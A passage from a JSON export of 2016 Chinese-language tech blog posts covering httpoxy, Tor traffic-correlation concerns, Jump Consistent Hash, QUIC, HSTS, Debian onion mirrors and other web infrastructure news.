    "body": "依照慣例，security issue 都會取個名字，這次叫做 httpoxy：「<a href=\"https://httpoxy.org/\">A CGI application vulnerability for PHP, Go, Python and others</a>」。\r\n\r\n事情發生在兩個命名變數上的衝突：\r\n\r\n<ul>\r\n\t<li><a href=\"https://tools.ietf.org/html/rfc3875\">RFC 3875</a> (The Common Gateway Interface (CGI) Version 1.1) 定義了 CGI 環境會把 Header 裡的 <code>Proxy</code> 欄位放到環境變數裡的 <code>HTTP_PROXY</code>。</li>\r\n\t<li>而很多程式會拿環境變數裡的 <code>HTTP_PROXY</code> 當作 proxy 設定。</li>\r\n</ul>\r\n\r\n這件事情 2001 年在 <a href=\"http://search.cpan.org/dist/libwww-perl/\">libwww-perl</a> 就有發生過 (並且修正)，<a href=\"https://curl.haxx.se/\">curl</a> 也發生過 (然後修正)，2012 年在 <a href=\"https://www.ruby-lang.org/\">Ruby</a> 的 Net::HTTP 也發生過 (也修正了)。\r\n\r\n然後在 2016 年還是被發現有很多應用程式會中獎... 這頭好痛啊 :o",
    "title": "舊 bug 新名字：httpoxy"
  },
  {
    "id": "6684",
    "body": "在 <a href=\"https://cryptome.org/\">Cryptome</a> 這邊看到可能可以被拿來用的技巧：「<a href=\"https://cryptome.org/2016/07/cloudflare-de-anons-tor.htm\">Cloudflare reCAPTCHA De-anonymizes Tor Users</a>」。\r\n\r\n當 <a href=\"https://www.torproject.org/\">Tor</a> 使用者連到 <a href=\"https://www.cloudflare.com/\">CloudFlare</a> 上時，常常會出現 <a href=\"https://www.google.com/recaptcha\">reCAPTCHA</a> 的提示，要求你驗證，而這個驗證過程的 traffic pattern 太龐大而且很明顯，當情治單位同時可以監控 CloudFlare 的上游 (像是「<a href=\"https://medium.com/@karthikb351/airtel-is-sniffing-and-censoring-cloudflares-traffic-in-india-and-they-don-t-even-know-it-90935f7f6d98\">Airtel is sniffing and censoring CloudFlare’s traffic in India and CloudFlare doesn’t even know it.</a>」這篇提到的問題) 或是監控 Tor 的 exit node 的上游，再加上同時監測使用者可能的 ISP，就可以對照湊出使用者：\r\n\r\n<blockquote>Each click on one of the images in the puzzle generates a total of about 50 packets between Tor user's computer and the Cloudflare's server (about half are requests and half are real-time responses from the server.) All this happens in less than a second, so eventual jitter introduced in onion mixing is immaterial. The packet group has predictable sizes and patterns, so all the adversary has to do is note the easily detectable signature of the \"image click\" event, and correlate it with the same on the Cloudflare side. Again, no decryption required.</blockquote>\r\n\r\n短短的一秒鐘內會產生 50 個封包，而且 pattern 很清楚...",
    "title": "利用 CloudFlare 的 reCAPTCHA 反向找出真正的 Tor 使用者"
  },
  {
    "id": "6685",
    "body": "在 <a href=\"http://nuzzel.com/\">Nuzzel</a> 上看到的東西...\r\n\r\n<a href=\"https://www.wikimedia.org/\">維基百科</a>不掛 <a href=\"https://www.google.com/analytics/\">Google Analytics</a> 之類的第三方服務，而是透過 <a href=\"https://piwik.org/\">Piwik</a> 蒐集後自己分析：「<a href=\"https://analytics.wikimedia.org/\">Dashboards and Data Downloads for Wikimedia Projects</a>」。\r\n\r\n主要有兩個資料可以看，一個是「<a href=\"https://analytics.wikimedia.org/dashboards/browsers/\">Browser Statistics</a>」，另外一個是「<a href=\"https://analytics.wikimedia.org/dashboards/vital-signs/\">Readers: Pageviews and Unique Devices</a>」。\r\n\r\n不過翻了一下，Piwik 好像還是沒有寫到 NoSQL 之類的方案，出自「<a href=\"https://piwik.org/faq/how-to-install/faq_55/\">How do I use another database like Postgresql, SQLite, Oracle? Will you support Nosql databases like Hadoop, Mongodb?</a>」：\r\n\r\n<blockquote>Piwik only works on Mysql, where all the development and testing is done. Supporting multiple databases is a long term objective for Piwik, but not our current focus.</blockquote>\r\n\r\n不知道維基百科是怎麼 scale 的...",
    "title": "維基百科的 User Agent 公開資料"
  },
  {
    "id": "6686",
    "body": "<a href=\"https://www.humblebundle.com/\">Humble Bundle</a> 說明他們如何對抗信用卡盜刷的方法，主要是不斷的降低風險，然後讓人介入的機會降低 (因為人事成本很高)：「<a href=\"http://developer.humblebundle.com/post/147806409802/humble-fraud\">How Humble Bundle stops online fraud</a>」。\r\n\r\n其中第一點是特別想提的：\r\n\r\n<blockquote>Our first line of defense is a machine-learning-based anti-abuse startup called <a href=\"https://siftscience.com/\">Sift Science</a>, which we’ve been training for years across 55,000,000 transactions.  Given how many orders we process, Sift Science has a really good idea when someone is up to no good.  The model adapts daily as we get more data.</blockquote>\r\n\r\n<a href=\"https://siftscience.com/\">Sift Science</a> 在 2014 的時候提過：「<a href=\"https://blog.gslin.org/archives/2014/10/07/5149/%E5%81%B5%E6%B8%AC%E4%BF%A1%E7%94%A8%E5%8D%A1%E4%BA%A4%E6%98%93%E6%98%AF%E5%90%A6%E7%82%BA%E7%9B%9C%E5%88%B7%E7%9A%84%E6%9C%8D%E5%8B%99/\">偵測信用卡交易是否為盜刷的服務</a>」。做的事情很簡單，你把大量的資料傳給 Sift Science，包括了各種使用者身份資訊，以及信用卡資料，Sift Science 可以透過 Machine Learning 的方法告訴你這筆交易的風險，讓你進一步的判斷。\r\n\r\n其實不少家都有做類似的服務，像是 <a href=\"https://www.maxmind.com/\">MaxMind</a> 的 <a href=\"https://www.maxmind.com/en/minfraud-services\">minFraud</a> (就是做 GeoIP database 很有名的那家公司的另外一個產品)。當交易量很大的時候是個很有趣的應用，降低處理盜刷後續處理的成本。",
    "title": "Humble Bundle 對抗信用卡盜刷的方法"
  },
  {
    "id": "6688",
    "body": "堆了一陣子的文章...\r\n\r\n當有 n 台 cache server 給你使用，最傳統的作法是 <code>hash(key) % n</code> 決定挑哪一台 cache server，但這個方法在增加或減少機器時就會讓 cache 大規模失效。<a href=\"https://en.wikipedia.org/wiki/Consistent_hashing\">Consistent Hashing</a> 就是希望在這種情況下 (增加或是移除 cache server 時) 可以避免大規模 cache 失效的問題。\r\n\r\n比較基本的 Consistent Hash 作法是將 <code>hash(key)</code> 的值對應到 ring 上 (假設是 hash value 的範圍是 32bits，也就是 0 到 0xFFFFFFFF，那麼 ring 繞一圈平均分佈)，像是一開始只有三台，所以就是三個 bucket：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Cbgw6rr.webp\" /><img src=\"https://i.gslin.com/imgur/Cbgw6rr.jpg\" alt=\"\" /></picture>\r\n<small>取自「<a href=\"http://michaelnielsen.org/blog/consistent-hashing/\">Consistent hashing</a>」這裡。</small>\r\n\r\n等加了機器後就分擔掉本來的 hash value 區段：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/aXSyB7A.webp\" /><img src=\"https://i.gslin.com/imgur/aXSyB7A.jpg\" alt=\"\" /></picture>\r\n<small>取自「<a href=\"http://michaelnielsen.org/blog/consistent-hashing/\">Consistent hashing</a>」這裡。</small>\r\n\r\n這樣的作法通常會需要 O(log N) 的時間複雜度 (query &amp; add/remove server) 與 O(n) 的空間複雜度。\r\n\r\n另外會有平均性的問題需要解決，通常的 workaround 是讓一個 server 有很多 virtual bucket 在 ring 上面解，像是這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/UkRyEJt.webp\" /><img src=\"https://i.gslin.com/imgur/UkRyEJt.jpg\" alt=\"\" /></picture>\r\n<small>取自「<a href=\"http://www.paperplanes.de/2011/12/9/the-magic-of-consistent-hashing.html\">The Simple Magic of Consistent Hashing</a>」。</small>\r\n\r\n而 <a href=\"https://www.google.com/\">Google</a> 在 2014 年發表出來的 Jump Consistent Hash 則給了更好的方案，O(1) 的空間使用率以及 O(logN) 的時間複雜度 (query only)，而且非常平均的打散：「<a href=\"https://arxiv.org/abs/1406.2294\">A Fast, Minimal Memory, Consistent Hash Algorithm</a>」。\r\n\r\n論文裡面給了 C++ 的實作：\r\n\r\n<pre>int32_t JumpConsistentHash(uint64_t key, int32_t num_buckets) {\r\n  int64_t b = ­-1, j = 0;\r\n  while (j &lt; num_buckets) {\r\n    b = j;\r\n    key = key * 2862933555777941757ULL + 1;\r\n    j = (b + 1) * (double(1LL &lt;&lt; 31) / double((key &gt;&gt; 33) + 1));\r\n  }\r\n  return b;\r\n}</pre>\r\n\r\n神秘數字 (還出現 double) 與神秘的迴圈... 在 Performance Analysis 這段解釋了時間複雜度明顯跟迴圈有關，分析後可以得到 O(log N)：\r\n\r\n<blockquote>The time complexity of the algorithm is determined by the number of iterations of the while loop. [...] So the expected number of iterations is less than ln(n) + 1.</blockquote>\r\n\r\n再來是 Consistent Hash 會討論「平均性」這個問題，可以看到跟以前的方法不是同一個級別：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/QvU0eP6.webp\" /><img src=\"https://i.gslin.com/imgur/QvU0eP6.jpg\" alt=\"\" /></picture>\r\n\r\n執行的效率也非常好，要注意的是 X 軸是對數座標：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/kRRBWab.webp\" /><img src=\"https://i.gslin.com/imgur/kRRBWab.jpg\" alt=\"\" /></picture>\r\n\r\n在 Note 的部份也說明了這個演算法 Google 沒有計畫要弄專利 (也公開出來了)：\r\n\r\n<blockquote>Google has not applied for patent protection for this algorithm, and, as of this writing, has no plans to. Rather, it wishes to contribute this algorithm to the community.</blockquote>",
    "title": "Google 提出的 Jump Consistent Hash"
  },
  {
    "id": "6690",
    "body": "<a href=\"https://www.linode.com/\">Linode</a> 宣佈支援 <a href=\"https://www.paypal.com/\">PayPal</a> 了：「<a href=\"https://blog.linode.com/2016/07/26/paypal-payments/\">PayPal Payments</a>」，只是：\r\n\r\n<blockquote>While any customer can use PayPal to fund their account, new customers will still need to sign up using a credit card. You can use PayPal from then on.</blockquote>\r\n\r\n而原因是：\r\n\r\n<blockquote>This is in part because we don’t yet have the ability to automatically transfer funds from PayPal. If you intend on paying only via PayPal, you will need to ensure that you have enough credit on your Linode account to cover your next invoice. Otherwise, our system will attempt to collect any remaining balance from the credit card you have on file.</blockquote>\r\n\r\n這理由爛爆了 XDDD",
    "title": "Linode 收 PayPal 了，只是..."
  },
  {
    "id": "6692",
    "body": "<a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 的公告出來了：「<a href=\"https://letsencrypt.org/2016/07/26/full-ipv6-support.html\">Full Support for IPv6</a>」。\r\n\r\n之前在看 http-01 challenge 時都是走 IPv4 認證，現在宣佈可以走 IPv6 了：\r\n\r\n<blockquote>Let’s Encrypt is happy to announce full support for IPv6.</blockquote>",
    "title": "Let's Encrypt 支援 IPv6 了"
  },
  {
    "id": "6693",
    "body": "<a href=\"https://aws.amazon.com/premiumsupport/\">AWS Support</a> 中的 <a href=\"https://aws.amazon.com/premiumsupport/developer-support/\">Developer Support Plan</a> 漲價了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2016/07/aws-support-announces-update-to-developer-support-plan/\">AWS Support announces update to Developer Support plan</a>」。\r\n\r\n本來是固定 $49/month，現在變成 $29/month 或是 3% (取高的，也就是超過 USD$966.66/month 後要以 3% 計算)：\r\n\r\n<blockquote>A new pricing model for our Developer Support plan has been launched, reducing the entry cost from $49 per month to $29 per month, while providing the same level of customer service and support. As of July 26th, 2016 all new AWS accounts subscribing to Developer Support will receive the new pricing, set at the greater of $29 or 3% of monthly AWS spend.</blockquote>\r\n\r\n大概是因為很多 production 用戶都只申請這個吧 (只是為了開 ticket 而已)，不過這邊只提到「all new AWS accounts subscribing to Developer Support」，沒提到舊的用戶會怎麼處理...",
    "title": "AWS 的 Developer Support Plan 漲價"
  },
  {
    "id": "6695",
    "body": "<a href=\"https://www.hp.com/\">HP</a> 的 open source 專案「<a href=\"https://github.com/HewlettPackard/gas\">Go AST Scanner</a>」，分析 <a href=\"https://golang.org/\">Go</a> 的原始程式碼拉出 <a href=\"https://en.wikipedia.org/wiki/Abstract_syntax_tree\">AST</a> 進行分析 (<a href=\"https://en.wikipedia.org/wiki/Static_program_analysis\">Static program analysis</a>)，再找出可能的安全性問題。\r\n\r\n雖然是 alpha 階段，但看起來是個好東西啊... 至少寫的太誇張的 SQL injection 可以掃出來。",
    "title": "Go 上面的白箱安全性檢查"
  },
  {
    "id": "6696",
    "body": "因為把 JavaScript 開回來了，所以有這個困擾... :(\r\n\r\n<a href=\"https://www.google.com/chrome\">Google Chrome</a> 的平滑捲動可以透過 <code>chrome://flags</code> 裡面的設定關閉 (<a href=\"https://www.apple.com/osx/\">OS X</a> 上則是透過系統設定關閉)，但就是有不少網站會很雞婆，用 JavaScript 模擬平滑捲動，所以就花了時間把 extension 寫出來：「<a href=\"https://chrome.google.com/webstore/detail/stop-smooth-scrolling/dolloijeimbmocbhcjglaobngibnhfij\">Stop Smooth Scrolling</a>」。\r\n\r\n由於大多數平滑捲動的作法都是透過對 <code>document</code> 或是 <code>window</code> 上掛上與平滑捲動相關事件做到的，所以我是透過 <code>addEventListener()</code> 與 <code>useCapture</code> flags，然後再用 <code>preventDefault()</code> 擋下後續的處理。\r\n\r\n這樣做會有一些問題，其中比較明顯的是地圖類功能的滾輪會失效，這個部分我先放進預設的白名單了，如果有其他的問題，除了可以自己加以外，也可以開 ticket 讓我加進預設清單 :o\r\n\r\n實際運作起來大概是這樣：\r\n\r\n<iframe width=\"640\" height=\"480\" src=\"https://www.youtube.com/embed/aN1JB6J96mA\" frameborder=\"0\" allowfullscreen></iframe>\r\n\r\nAnyway，寫這個還蠻有趣的，玩了不少新東西：\r\n\r\n<ul>\r\n\t<li>第一次在 <a href=\"https://chrome.google.com/webstore/category/extensions\">Google Chrome Extension</a> 上寫 <code>options_page</code>。</li>\r\n\t<li>第一次用 <a href=\"https://vuejs.org/\">vue.js</a>，而且還是 CSP-compliant 的版本，因為是在 Options 頁面上用。</li>\r\n\t<li>第一次用 <a href=\"https://developer.chrome.com/extensions/storage\">chrome.storage.sync</a> 儲存資料。</li>\r\n\t<li>第一次用 <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise\">Promise</a> 確保執行順序。</li>\r\n</ul>",
    "title": "Google Chrome 停用平滑捲動"
  },
  {
    "id": "6697",
    "body": "先把兩份連結丟出來，一份是 <a href=\"https://wiki.postgresql.org/wiki/PyPgDay2013\">PyPgDay 2013</a> 時由 <a href=\"https://www.uber.com/\">Uber</a> 的 Evan Klitzke 給的「Migrating Uber from MySQL to PostgreSQL」，原 PDF 連結已經失效 (看起來已經被刪除)，但這個網路年代什麼都可以找到備份... 可以在「<a href=\"https://www.yumpu.com/en/document/view/53683323/migrating-uber-from-mysql-to-postgresql\">Migrating Uber from MySQL to PostgreSQL</a>」取得，但這個網站怪怪的，我另外丟了一份到 <a href=\"https://drive.google.com/file/d/0Bzju15fE54zkV3hUTklvZ0FvekU/view\">Google Docs 上</a>。\r\n\r\n另外一份則是同一個人 Evan Klitzke 在 2016 年發表於公司的官方網站上：「<a href=\"https://eng.uber.com/mysql-migration/\">Why Uber Engineering Switched from Postgres to MySQL</a>」。\r\n\r\n2013 年描述了從 <a href=\"https://dev.mysql.com/\">MySQL</a> 換到 <a href=\"https://www.postgresql.org/\">PostgreSQL</a>，2016 年同一個人出來則描述了從 PostgreSQL 換到 MySQL 的理由，有種臉腫腫的感覺。\r\n\r\n先抓 2013 年的重點，當時分享的目標是要用 <a href=\"http://postgis.net/\">PostGIS</a>：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/AF90qQ3.webp\" /><img src=\"https://i.gslin.com/imgur/AF90qQ3.jpg\" alt=\"\" /></picture>\r\n\r\n在 2016 年的文章絕口不提 PostGIS，而是提到各種效能問題：花了很長的篇幅講 Non-clustered Index 與 Clustered Index 的設計，以及 Replication 時的頻寬效能差異。\r\n\r\n先不管 PostGIS，如果真的是 UPDATE 造成效能問題，那麼不是要朝 sharding 解決嗎，怎麼是換成 MySQL？換到 MySQL 後還是會遇到效能問題啊，你還是要在 application 層上面找出方案啊。\r\n\r\n這篇文章看起來更像是內部技術與政治問題掛勾在一起談，因為政治原因而換 MySQL，然後找出技術原因說明換的理由 XDDD",
    "title": "最近討論 Uber 的 MySQL 換 PostgreSQL 後又換回 MySQL 的文章..."
  },
  {
    "id": "6698",
    "body": "不只是<a href=\"https://www.wikipedia.org/\">維基百科</a>，還包括所以<a href=\"https://www.wikimedia.org/\">維基基金會</a>的專案都可以查到，精確度可以到每日。\r\n\r\n<a href=\"https://www.mediawiki.org/\">MediaWiki</a> 系統提供的 API 在維基基金會上的專案都關掉了。主要是因為維基基金會的專案量太大，前方有大量的 cache 擋住，後端能提供的資料其實沒有意義。取而代之的是另外規劃出來的 API。\r\n\r\nAPI 的介紹說明在「<a href=\"https://wikitech.wikimedia.org/wiki/Analytics/PageviewAPI\">Analytics/PageviewAPI</a>」這邊可以看到，官方所提供的完整 API 說明文件則可以在「<a href=\"https://wikimedia.org/api/rest_v1/?doc\">Wikimedia REST API</a>」這邊查到。\r\n\r\n實際測試發現資料從 2015/07/01 開始，每日更新的速度還不錯，像是 UTC 還是 2016/07/31 的現在可以取到 2016/07/30 的資料了。舉例來說，想要拉中文版 <a href=\"https://zh.wikipedia.org/wiki/Kalafina\">Kalafina</a> 在 2016 七月由人閱覽的資料：\r\n\r\n<pre>https://wikimedia.org/api/rest_v1/metrics/pageviews/per-article/zh.wikipedia/all-access/user/Kalafina/daily/20160701/20160731</pre>\r\n\r\n如果是想拉日文版的就換成 <code>ja.wikipedia</code>：\r\n\r\n<pre>https://wikimedia.org/api/rest_v1/metrics/pageviews/per-article/ja.wikipedia/all-access/user/Kalafina/daily/20160701/20160731</pre>",
    "title": "維基百科每天的 PageView 數據 (2015/07/01 開始)"
  },
  {
    "id": "6700",
    "body": "在「<a href=\"https://ma.ttias.be/googles-quic-protocol-moving-web-tcp-udp/\">Google’s QUIC protocol: moving the web from TCP to UDP</a>」這篇前半部在介紹 <a href=\"https://en.wikipedia.org/wiki/QUIC\">QUIC</a> (走 UDP 的 TLS)，後半部則提到了幾個重點。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/SUTADma.webp\" /><img src=\"https://i.gslin.com/imgur/SUTADma.jpg\" alt=\"\" /></picture>\r\n\r\n首先是 <a href=\"https://www.google.com/\">Google Chrome</a> 從 52 開始 (也就是現在的 stable 版) 預設會開啟 QUIC (以前是只有 <a href=\"https://www.google.com/\">Google</a> 自家的 domain)，這讓採用的價值變高：\r\n\r\n<blockquote>Since no one has QUIC support enabled by default in the client, you're probably still safe to run it and enable QUIC in your own browser(s). (Update: since Chrome 52, everyone has QUIC enabled by default, even to non-whitelisted domains)</blockquote>\r\n\r\n再來是 QUIC 走 UDP/443：\r\n\r\n<blockquote>Well, if we want to allow the QUIC protocol, we will need to allow 443/UDP too.</blockquote>\r\n\r\n同時因為走的 Protocol 跟以前不同，所以我可以跑另外一隻 Server 服務使用者，目前只有 <a href=\"https://caddyserver.com/\">Caddy</a> 有支援，雖然是實驗性質：\r\n\r\n<blockquote>Right now, the only webserver that can get you QUIC is Caddy since version 0.9.\r\n\r\nBoth client-side and server-side support is considered experimental, so it's up to you to run it.</blockquote>\r\n\r\n至少可以先把 firewall 打開了...",
    "title": "Google Chrome 52 預設開啟了更快的 QUIC (被戲稱為 TCP/2)"
  },
  {
    "id": "6701",
    "body": "<a href=\"https://www.youtube.com/\">YouTube</a> 公佈了 <a href=\"https://www.google.com/\">Google</a> 產品使用 HTTPS 的情況，這次包括了 YouTube 在內：「<a href=\"https://youtube-eng.blogspot.com/2016/08/youtubes-road-to-https.html\">YouTube's road to HTTPS</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/jvZpjie.webp\" /><img src=\"https://i.gslin.com/imgur/jvZpjie.jpg\" alt=\"\" /></picture>\r\n\r\n<a href=\"https://www.netflix.com/\">Netflix</a> 與 YouTube 在北美是兩個最大的 internet 流量 (<a href=\"http://www.cbc.ca/news/technology/video-streaming-traffic-1.3354182\">Netflix, YouTube video streaming dominate internet traffic in North America</a>)，要注意的是 Netflix 也是全上 HTTPS (<a href=\"http://arstechnica.com/security/2015/04/it-wasnt-easy-but-netflix-will-soon-use-https-to-secure-video-streams/\">It wasn’t easy, but Netflix will soon use HTTPS to secure video streams</a>)：\r\n\r\n<blockquote>Netflix makes up a huge part of internet downloads, the company said, with the streaming service accounting for 37.1 per cent of all downstream traffic in North America during September and October.\r\n\r\nYouTube accounted for the second-largest share of download traffic, at 17.9 per cent, followed by regular internet browsing at 6.1 per cent.</blockquote>\r\n\r\n海外的部份 YouTube 就更高了，所以 YouTube 的 HTTPS rate 其實對整個 internet 很重要。而 YouTube 宣佈目前已經有 97% 的量上 HTTPS 了，應該是 Google 資料中心最大的流量：\r\n\r\n<blockquote>We're proud to announce that in the last two years, we steadily rolled out encryption using HTTPS to 97 percent of YouTube's traffic.</blockquote>",
    "title": "Google 產品 (包括 YouTube) 使用 HTTPS 的情況"
  },
  {
    "id": "6702",
    "body": "<a href=\"https://www.debian.org/\">Debian</a> 與 <a href=\"https://www.torproject.org/\">Tor Project</a> 都宣佈了這個消息，兩邊的稿子都一樣：「<a href=\"https://bits.debian.org/2016/08/debian-and-tor-services-available-as-onion-services.html\">Debian and Tor Services available as Onion Services</a>」、「<a href=\"https://blog.torproject.org/blog/debian-and-tor-services-available-onion-services\">Debian and Tor Services available as Onion Services</a>」。\r\n\r\n站台列表在 <a href=\"https://onion.debian.org/\">https://onion.debian.org/</a> 這邊可以看到，當你有安裝 <a href=\"https://packages.debian.org/apt-transport-tor\">apt-transport-tor</a> 時，可以透過 Tor 更新：\r\n\r\n<pre>deb tor+http://vwakviie2ienjx6t.onion/debian jessie main\r\ndeb tor+http://vwakviie2ienjx6t.onion/debian jessie-updates main\r\ndeb tor+http://sgvtcaew4bxjd7ln.onion/debian-security jessie/updates main</pre>\r\n\r\nTor Hidden Service 本身就有一定的安全強度，而透過 <a href=\"https://en.wikipedia.org/wiki/Advanced_Packaging_Tool\">APT</a> 抓 Debian 套件的安全性還有 <a href=\"https://www.gnupg.org/\">GnuPG</a> 驗證把關，這樣看起來頗不賴...\r\n\r\n讓 Tor 的流量變大也是讓 Tor 的隱私性變得更好的一種方法 (因為目前看到新的攻擊都是靠分析 traffic pattern，所以流量變大有機會讓雜訊變多一些)。\r\n\r\n不知道 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 有沒有機會也上一份...",
    "title": "Debian 提供 Tor Hidden Service 更新 Apt"
  },
  {
    "id": "6703",
    "body": "這次要提的是「<a href=\"http://techblog.netflix.com/2016/06/netflix-billing-migration-to-aws.html\">Netflix Billing Migration to AWS</a>」、「<a href=\"http://techblog.netflix.com/2016/07/netflix-billing-migration-to-aws-part-ii.html\">Netflix Billing Migration to AWS - Part II</a>」與「<a href=\"http://techblog.netflix.com/2016/08/netflix-billing-migration-to-aws-part.html\">Netflix Billing Migration to AWS - Part III</a>」這三篇。\r\n\r\n<a href=\"https://www.netflix.com/\">Netflix</a> 先前的金流相關系統跑的是 <a href=\"https://www.oracle.com/\">Oracle</a> 的資料庫：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ZsCIFwK.webp\" /><img src=\"https://i.gslin.com/imgur/ZsCIFwK.jpg\" alt=\"\" /></picture>\r\n\r\n然後換成 <a href=\"https://dev.mysql.com/\">MySQL</a>：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/haak4jE.webp\" /><img src=\"https://i.gslin.com/imgur/haak4jE.jpg\" alt=\"\" /></picture>\r\n\r\n系統上是採用 <a href=\"https://www.drbd.org/\">DRBD</a>，然後底層是 5 個 4TB 的 EBS 組成的 RAID 0，跑 <a href=\"https://en.wikipedia.org/wiki/Logical_Volume_Manager_(Linux)\">LVM</a>：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/uEfG71t.webp\" /><img src=\"https://i.gslin.com/imgur/uEfG71t.jpg\" alt=\"\" /></picture>\r\n\r\n<blockquote>High performance with respect to reads and writes was achieved by using RAID0 with EBS provisioned IOPS volumes. To get more throughput per volume, 5 volumes of 4TB each were used, instead of 1 big volume. This was to facilitate faster snapshots and restores.</blockquote>\r\n\r\n<blockquote>LVM to manage two Logical Volume’s (DB and DRBD Metadata) within single Volume Group.</blockquote>\r\n\r\n可以看到裡面用的都是很經過時間考驗的技術，像是 DRBD、標準的 Replication 架構...",
    "title": "Netflix 把金流相關的系統轉移到 AWS 上跑 MySQL 的故事..."
  },
  {
    "id": "6705",
    "body": "在「<a href=\"http://krebsonsecurity.com/2016/07/would-you-use-this-atm/\">Would You Use This ATM?</a>」這邊看到的提款機：\r\n\r\n<img src=\"https://blog.gslin.org/wp-content/uploads/2016/08/groceryatm-940x1055.png\" alt=\"\" />\r\n\r\n而這是背面：\r\n\r\n<img src=\"https://blog.gslin.org/wp-content/uploads/2016/08/groceryatmback-940x1273.png\" alt=\"\" />\r\n\r\n不知道可以聽到多少東西 XD",
    "title": "歡樂提款機"
  },
  {
    "id": "6710",
    "body": "<a href=\"https://www.google.com/\">Google</a> 宣佈 <code>www.google.com</code> 要上 <a href=\"https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security\">HSTS</a> 了：「<a href=\"https://security.googleblog.com/2016/07/bringing-hsts-to-wwwgooglecom.html\">Bringing HSTS to www.google.com</a>」。\r\n\r\n雖然都已經使用 <a href=\"https://www.eff.org/\">EFF</a> 的 <a href=\"https://www.eff.org/https-everywhere\">HTTPS Everywhere</a> 在跑確保 HTTPS，但這個進展還是很重要，可以讓一般使用者受到保護...\r\n\r\nGoogle 的切換計畫是會逐步增加 HSTS 的 <code>max-age</code>，確保中間出問題時造成的衝擊。一開始只會設一天，然後會逐步增加，最後增加到一年：\r\n\r\n<blockquote>In the immediate term, we’re focused on increasing the duration that the header is active (‘max-age’). We've initially set the header’s max-age to one day; the short duration helps mitigate the risk of any potential problems with this roll-out. By increasing the max-age, however, we reduce the likelihood that an initial request to www.google.com happens over HTTP. Over the next few months, we will ramp up the max-age of the header to at least one year.</blockquote>",
    "title": "Google 的 www.google.com 要上 HSTS 了"
  },
  {
    "id": "6711",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到 <a href=\"https://twitter.com/zmx\">zmx</a> 提了一個連結，講 Uber 年初時貼的「<a href=\"https://eng.uber.com/go-geofence/\">How We Built Uber Engineering’s Highest Query per Second Service Using Go</a>」這篇文章的問題：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"zh\" dir=\"ltr\">TLDR; <br>Uber：傳統方式太複雜了根據我們資料特性自創一套高效能的空間索引服務。<br>前 Bing 員工：買了 Bing 怎麼不問專家啊？Quadtree 降兩個數量級啊，不然你們自創的做了這個小修改也是降兩個數量級啊！<a href=\"https://t.co/nHw1DgmYtU\">https://t.co/nHw1DgmYtU</a></p>&mdash; Bill Zhong (@zmx) <a href=\"https://twitter.com/zmx/status/760456844888248320\">August 2, 2016</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n對照最近的事情還蠻有趣的，尤其是這篇文章後面提到的，酸～爆～了～XDDD：\r\n\r\n<blockquote>It is clear to me that the team at Uber under-engineered this problem. Thoughtfully designing this service could trim down the number of nodes by an order of magnitude and save hundreds of thousands of dollars each year. That may sound like pittance to a company valued at more than the GDP of Delaware, but in my eyes that’s the salaries of a few engineers and a few good engineers can go a long way. Maybe even further than the few extra Mercedes-Benz S-Classes they could add to their fleet from the money they could be saving...</blockquote>\r\n\r\n先不提政治問題，上面提到的 <a href=\"https://en.wikipedia.org/wiki/Quadtree\">Quadtree</a> 算是簡單易懂的結構，好久沒看到這個資料結構了：\r\n\r\n<img src=\"https://i.gslin.com/imgur/MYGqwtL.gif\" alt=\"\" />",
    "title": "看到 zmx 貼了之前的連結，更確信 Uber 的問題不是技術問題了..."
  },
  {
    "id": "6713",
    "body": "<a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 的 Multi-process，也就是 <a href=\"https://wiki.mozilla.org/Electrolysis\">Electrolysis</a>，正式進入 Release 版了：「<a href=\"https://blog.mozilla.org/futurereleases/2016/08/02/whats-next-for-multi-process-firefox/\">What’s Next for Multi-process Firefox</a>」。\r\n\r\n依照說明，會分成這幾個不同種類的 process：\r\n\r\n<blockquote>Electrolysis child processes are currently in use for the following tasks within Firefox:\r\n\r\n<ul>\r\n\t<li>Legacy NPAPI plugin hosting</li>\r\n\t<li>Media playback</li>\r\n\t<li>Web content ('content processes')</li>\r\n</ul></blockquote>\r\n\r\nMozilla 給的這張圖則是 UI 與 Web Content 分離：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ASmKnfv.webp\" /><img src=\"https://i.gslin.com/imgur/ASmKnfv.jpg\" alt=\"\" /></picture>\r\n\r\n目前是設計成只有 1% 使用者會啟動，而如果你想要測試的話可以用 <code>about:config</code> 修改 <code>browser.tabs.remote.autostart</code>。不過只要有 extension 掛著，就不會啟動，像是這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/X28ZfJ5.webp\" /><img src=\"https://i.gslin.com/imgur/X28ZfJ5.jpg\" alt=\"\" /></picture>\r\n\r\n當我把 extension 全部關閉後：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/tBKEKu2.webp\" /><img src=\"https://i.gslin.com/imgur/tBKEKu2.jpg\" alt=\"\" /></picture>\r\n\r\n所以短時間內應該也沒辦法測...",
    "title": "Firefox 48 的 Electrolysis (e10s)，多程序視窗"
  },
  {
    "id": "6714",
